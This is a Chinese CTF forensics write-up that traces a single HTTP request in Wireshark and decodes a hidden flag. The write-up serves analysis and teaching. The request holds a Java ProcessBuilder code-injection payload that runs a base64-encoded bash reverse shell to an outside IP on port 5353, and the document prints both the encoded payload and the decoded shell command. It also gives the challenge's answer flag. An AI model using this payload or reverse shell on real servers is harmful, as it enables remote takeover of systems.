CTF取证:从单一HTTP包中追踪反向Shell并解密Flag
备选题目(可任选其一替换上方标题)
- 一发入魂:从单个HTTP包中解密隐藏的Flag
- CTF取证实战:追踪5353端口的反向Shell流量
- Flag消失之谜:Wireshark分析中的编码与解码技巧
- 破阵阁CTF决赛题解:Forensics-FLAG消失之谜完整解析
- 从Java ProcessBuilder到Hex解码:一次完整的CTF取证之旅
赛事:2026年破阵阁::CTF决赛:破阵·巅峰,Forensics-FLAG 消失之谜
链接:https://118.195.192.138:9443/games/4/challenges#46-%E4%B8%80%E5%8F%91%E5%85%A5%E9%AD%82
题目:这位黑客老哥属实是个讲究人,全程只发一个 HTTP 包,深藏功与名。快来围观这“一发入魂”的骚操作,顺便把 FLAG 领走
解题
查看唯一的HTTP包
根据题目提示,只发一个 HTTP 包,那就看一下
追踪HTTP包
请求内容:
exp=var%20pb%20%3D%20new%20java.lang.ProcessBuilder%28%22bash%22%2C%20%22-c%22%2C%20%22%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny43Ni4xODIuMTk1LzUzNTMgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22%29%3Bpb.redirectErrorStream%28true%29%3Bvar%20p%20%3D%20pb.start%28%29%3Bvar%20scanner%20%3D%20new%20java.util.Scanner%28p.getInputStream%28%29%29.useDelimiter%28%22%5C%5CA%22%29%3Bscanner.hasNext%28%29%20%3F%20scanner.next%28%29%20%3A%20%22%22URL解码内容
整理解码结果,发现是用 Java 语法写的JavaScript代码,利用了Java的 ProcessBuilder 类来执行系统命令。看不出来什么,所以,直接对base64加密的密文YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny43Ni4xODIuMTk1LzUzNTMgMD4mMQ==进行解密查看内容
exp=varpb=newjava.lang.ProcessBuilder("bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny43Ni4xODIuMTk1LzUzNTMgMD4mMQ==}|{base64,-d}|{bash,-i}");pb.redirectErrorStream(true);varp=pb.start();varscanner=newjava.util.Scanner(p.getInputStream()).useDelimiter("\\A");scanner.hasNext()?scanner.next():""base64解码
这是一个 反向Shell 命令,会尝试连接到攻击者的IP 47.76.182.195 的端口 5353,从而让攻击者获得目标服务器的Shell访问权限。
bash-i>&/dev/tcp/47.76.182.195/53530>&1筛选可疑端口所有流量信息
_ws.col.info contains"5353"逐一查看
大部分的TCP片段信息都是可以被wireshark编译的
只有980包的数据还存在较多乱码,先提取出来
\$zf_E@?/LB&R0@2iE@?/LB&R0@2iB&R0@2i 666c61677b36386436613462642d383064332d346635632d393136352d6433303761613661653437377d[root@4bcfc06a246b /]#进行解码
将完整的乱码666c61677b36386436613462642d383064332d346635632d393136352d6433303761613661653437377d提取出来,magic破解,得到了flag
答案
flag{68d6a4bd-80d3-4f5c-9165-d307aa6ae477}